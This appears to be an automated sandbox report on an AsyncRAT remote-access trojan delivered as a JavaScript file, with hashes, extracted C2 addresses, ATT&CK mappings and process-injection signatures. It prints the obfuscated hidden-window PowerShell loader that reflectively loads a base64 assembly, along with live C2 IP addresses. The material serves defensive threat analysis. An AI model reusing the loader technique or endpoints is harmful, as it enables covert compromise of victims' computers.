asyncrat | 6f73eccd8fedb4bc27a0bc0d3d2789d06803ce2fc7579f7aa0bc2f397ebd2420

Analysis

max time kernel
150s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/09/2026, 17:17

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General

Target
6f73eccd8fedb4bc27a0bc0d3d2789d06803ce2fc7579f7aa0bc2f397ebd2420.js
Size 5.0MB
Sample260922-vt1a2abc54
SHA256 6f73eccd8fedb4bc27a0bc0d3d2789d06803ce2fc7579f7aa0bc2f397ebd2420
MD5 706d88e78275b139a7ea9cb9f406e4c8
SHA1 aef58e5993124c7c2e25840e6002c5d03ef95510
SHA512 6fb8abadda632444abd6840019a6e2481bf0607dd4b22019f013f0b1145ae956f95af6e3694a63c7bb1a072486a5a4e747f6cadd9566818951297cdad3e5963b
SSDEEP 3072:PD45TrMGEJo8w8hCha7C0tkJabiS7CGyth+oTUNC87BMlfpBMmw5QspXT5a/zYD:d
TLSH
T1BD368CB952DD21149DA305CF5E7A9AD2E491BA1DCD73F144B0CC60BC8B5BA83409EFB2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

ballz discovery execution asyncrat rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Ballz

62.60.155.33:1458
62.60.155.33:1907

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4800	2388	powershell.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4528	2388	powershell.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3908	2388	powershell.exe	90

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4800	powershell.exe
7	4528	powershell.exe
8	3908	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4800	powershell.exe
4528	powershell.exe
3908	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4528 set thread context of 248	4528	powershell.exe	97
PID 3908 set thread context of 256	3908	powershell.exe	98
PID 4800 set thread context of 2752	4800	powershell.exe	99

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regsql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regsql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regsql.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4800	powershell.exe
4528	powershell.exe
4528	powershell.exe
4800	powershell.exe
4800	powershell.exe
3908	powershell.exe
3908	powershell.exe
4528	powershell.exe
3908	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4800	powershell.exe
Token: SeDebugPrivilege	4528	powershell.exe
Token: SeDebugPrivilege	3908	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4528 wrote to memory of 248	4528	powershell.exe	97
PID 3908 wrote to memory of 256	3908	powershell.exe	98
PID 4528 wrote to memory of 248	4528	powershell.exe	97
PID 4528 wrote to memory of 248	4528	powershell.exe	97
PID 4528 wrote to memory of 248	4528	powershell.exe	97
PID 4528 wrote to memory of 248	4528	powershell.exe	97
PID 3908 wrote to memory of 256	3908	powershell.exe	98
PID 3908 wrote to memory of 256	3908	powershell.exe	98
PID 3908 wrote to memory of 256	3908	powershell.exe	98
PID 3908 wrote to memory of 256	3908	powershell.exe	98
PID 4800 wrote to memory of 2752	4800	powershell.exe	99
PID 4800 wrote to memory of 2752	4800	powershell.exe	99
PID 4800 wrote to memory of 2752	4800	powershell.exe	99
PID 4800 wrote to memory of 2752	4800	powershell.exe	99
PID 4800 wrote to memory of 2752	4800	powershell.exe	99

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\6f73eccd8fedb4bc27a0bc0d3d2789d06803ce2fc7579f7aa0bc2f397ebd2420.js
1⤵
PID:3440

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$nonredeemable=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5;$bebeerine=[System.IO.MemoryStream][Convert]::FromBase64String($nonredeemable);[System.Reflection.Assembly]::Load($bebeerine.ToArray())|Out-Null;[Win32.RMP.Cls_ypOkMQKMvW]::Met_ypOkMQKMvWLh('/M3fF8ECmtGG/AyCY+iUYxI+f3xUCg8dqqniv60NlH1bIGxC0+FkBnNWZY7hAAe3IewJ2e1WEK6+W63GJ45QjvYPouhifJF60WyP/V5MCps=','','AACLbsn9fCz+GUjZy6Ips4Q9Bukx5gUAScvK99E32FBq1WALbhwZRd6nMi4yGcaK','9gpFwD90oTMmH7E3FIGIaBJjicDIo+cm5gs5uk3OoXo=','8PgZvslUoOrkPcIf1Gr5mBI7q4znCLzgF023IXbulSM=','','HhDOqxAWGVxr0Kohqpl2CmdAq/LPNyc3Z9Xt/rt7KYI=','','MpVmdrVWjHzHhk8z8Nch2tasBiJwWc2SgF44iwwrV+0=','ZVXxzrv7RfEP9SR5aTjYIg6yXwY3+hROcWsmElyY7AiV5wN1MowVNpTJVqh9akck','C/Sm8OAaEKedoJfwqRMd5qgXa4Qj/F2CbRetr9iFpGc=','BDbxbkBOwgRkNqEeHQh1gysj0huoXbYwypifnwbc/6M=','kSs0ChojUjOXRf+quFaOZs7VgYHN8wkJ739lob7/RFY=','','5ftXDM16gEc8RKKteqoMVLABDHxYrsHOQaWYe89oWDM=','H2CxEh3KuPJH/SARTSZDLY/ajKhVbyJOG+GnyhkP2uI=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4800
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$nonredeemable=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5;$bebeerine=[System.IO.MemoryStream][Convert]::FromBase64String($nonredeemable);[System.Reflection.Assembly]::Load($bebeerine.ToArray())|Out-Null;[Win32.RMP.Cls_ypOkMQKMvW]::Met_ypOkMQKMvWLh('/M3fF8ECmtGG/AyCY+iUYxI+f3xUCg8dqqniv60NlH1bIGxC0+FkBnNWZY7hAAe3IewJ2e1WEK6+W63GJ45QjvYPouhifJF60WyP/V5MCps=','','AACLbsn9fCz+GUjZy6Ips4Q9Bukx5gUAScvK99E32FBq1WALbhwZRd6nMi4yGcaK','9gpFwD90oTMmH7E3FIGIaBJjicDIo+cm5gs5uk3OoXo=','8PgZvslUoOrkPcIf1Gr5mBI7q4znCLzgF023IXbulSM=','','HhDOqxAWGVxr0Kohqpl2CmdAq/LPNyc3Z9Xt/rt7KYI=','','MpVmdrVWjHzHhk8z8Nch2tasBiJwWc2SgF44iwwrV+0=','ZVXxzrv7RfEP9SR5aTjYIg6yXwY3+hROcWsmElyY7AiV5wN1MowVNpTJVqh9akck','C/Sm8OAaEKedoJfwqRMd5qgXa4Qj/F2CbRetr9iFpGc=','BDbxbkBOwgRkNqEeHQh1gysj0huoXbYwypifnwbc/6M=','kSs0ChojUjOXRf+quFaOZs7VgYHN8wkJ739lob7/RFY=','','5ftXDM16gEc8RKKteqoMVLABDHxYrsHOQaWYe89oWDM=','H2CxEh3KuPJH/SARTSZDLY/ajKhVbyJOG+GnyhkP2uI=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4528
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$nonredeemable=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5;$bebeerine=[System.IO.MemoryStream][Convert]::FromBase64String($nonredeemable);[System.Reflection.Assembly]::Load($bebeerine.ToArray())|Out-Null;[Win32.RMP.Cls_ypOkMQKMvW]::Met_ypOkMQKMvWLh('/M3fF8ECmtGG/AyCY+iUYxI+f3xUCg8dqqniv60NlH1bIGxC0+FkBnNWZY7hAAe3IewJ2e1WEK6+W63GJ45QjvYPouhifJF60WyP/V5MCps=','','AACLbsn9fCz+GUjZy6Ips4Q9Bukx5gUAScvK99E32FBq1WALbhwZRd6nMi4yGcaK','9gpFwD90oTMmH7E3FIGIaBJjicDIo+cm5gs5uk3OoXo=','8PgZvslUoOrkPcIf1Gr5mBI7q4znCLzgF023IXbulSM=','','HhDOqxAWGVxr0Kohqpl2CmdAq/LPNyc3Z9Xt/rt7KYI=','','MpVmdrVWjHzHhk8z8Nch2tasBiJwWc2SgF44iwwrV+0=','ZVXxzrv7RfEP9SR5aTjYIg6yXwY3+hROcWsmElyY7AiV5wN1MowVNpTJVqh9akck','C/Sm8OAaEKedoJfwqRMd5qgXa4Qj/F2CbRetr9iFpGc=','BDbxbkBOwgRkNqEeHQh1gysj0huoXbYwypifnwbc/6M=','kSs0ChojUjOXRf+quFaOZs7VgYHN8wkJ739lob7/RFY=','','5ftXDM16gEc8RKKteqoMVLABDHxYrsHOQaWYe89oWDM=','H2CxEh3KuPJH/SARTSZDLY/ajKhVbyJOG+GnyhkP2uI=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3908
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:256

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
MD5 ccd060f9f366be151fe026216473d89d
SHA1 a2376b4d7e68f0f9b95afe6cb3d0dac53d4d3e67
SHA512 c32c5dc4f4034e964becf33399da8a09c393680520aa9163d4035bc8fa4a15453cf7c7ed1b309785266449f257b7ced4b8dca043917b2c5812b9a25c1da224cd
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 7d62cbc89aaaef4c99b3805840963e2fd7828e5a0936a7042b8184f7440f392d
MD5 ad7e6b16264c4cccf9846240acc5d592
SHA1 3e73bdb0f15636decca39233c82ab4b83b854368
SHA512 ac787b79989f36340f5af6046eeca69c4e4c067ecfc4fc6cdf2c9d5dc6d19138d5ff42ee7812178788043d083e6a3388b56e6eb4b1f4b5990b7320eacdcbcfea
MD5 SHA1 SHA512

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__PSScriptPolicyTest_rn4vru5e.kdk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rn4vru5e.kdk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/248-23-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/3908-21-0x00000238A0480000-0x00000238A04A2000-memory.dmp

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memory/4528-20-0x00007FFB44490000-0x00007FFB44E34000-memory.dmp

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memory/4528-28-0x00007FFB44490000-0x00007FFB44E34000-memory.dmp

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memory/4528-22-0x00007FFB44490000-0x00007FFB44E34000-memory.dmp

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memory/4800-19-0x00007FFB44490000-0x00007FFB44E34000-memory.dmp

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memory/4800-10-0x00007FFB44490000-0x00007FFB44E34000-memory.dmp

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memory/4800-14-0x00007FFB44490000-0x00007FFB44E34000-memory.dmp

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memory/4800-15-0x0000015170BA0000-0x0000015170BC2000-memory.dmp

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memory/4800-4-0x00007FFB44490000-0x00007FFB44E34000-memory.dmp

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memory/4800-18-0x00007FFB44490000-0x00007FFB44E34000-memory.dmp

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memory/4800-6-0x00007FFB44490000-0x00007FFB44E34000-memory.dmp

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memory/4800-11-0x00007FFB44490000-0x00007FFB44E34000-memory.dmp

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memory/4800-9-0x00007FFB44490000-0x00007FFB44E34000-memory.dmp

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memory/4800-8-0x00007FFB44490000-0x00007FFB44E34000-memory.dmp

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memory/4800-0-0x00007FFB4461F000-0x00007FFB44620000-memory.dmp

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memory/4800-5-0x0000015170B30000-0x0000015170B52000-memory.dmp

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memory/4800-7-0x00007FFB44490000-0x00007FFB44E34000-memory.dmp

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memory/4800-29-0x00007FFB44490000-0x00007FFB44E34000-memory.dmp

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memory/4800-1-0x00007FFB44490000-0x00007FFB44E34000-memory.dmp

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memory/4800-33-0x00007FFB44490000-0x00007FFB44E34000-memory.dmp

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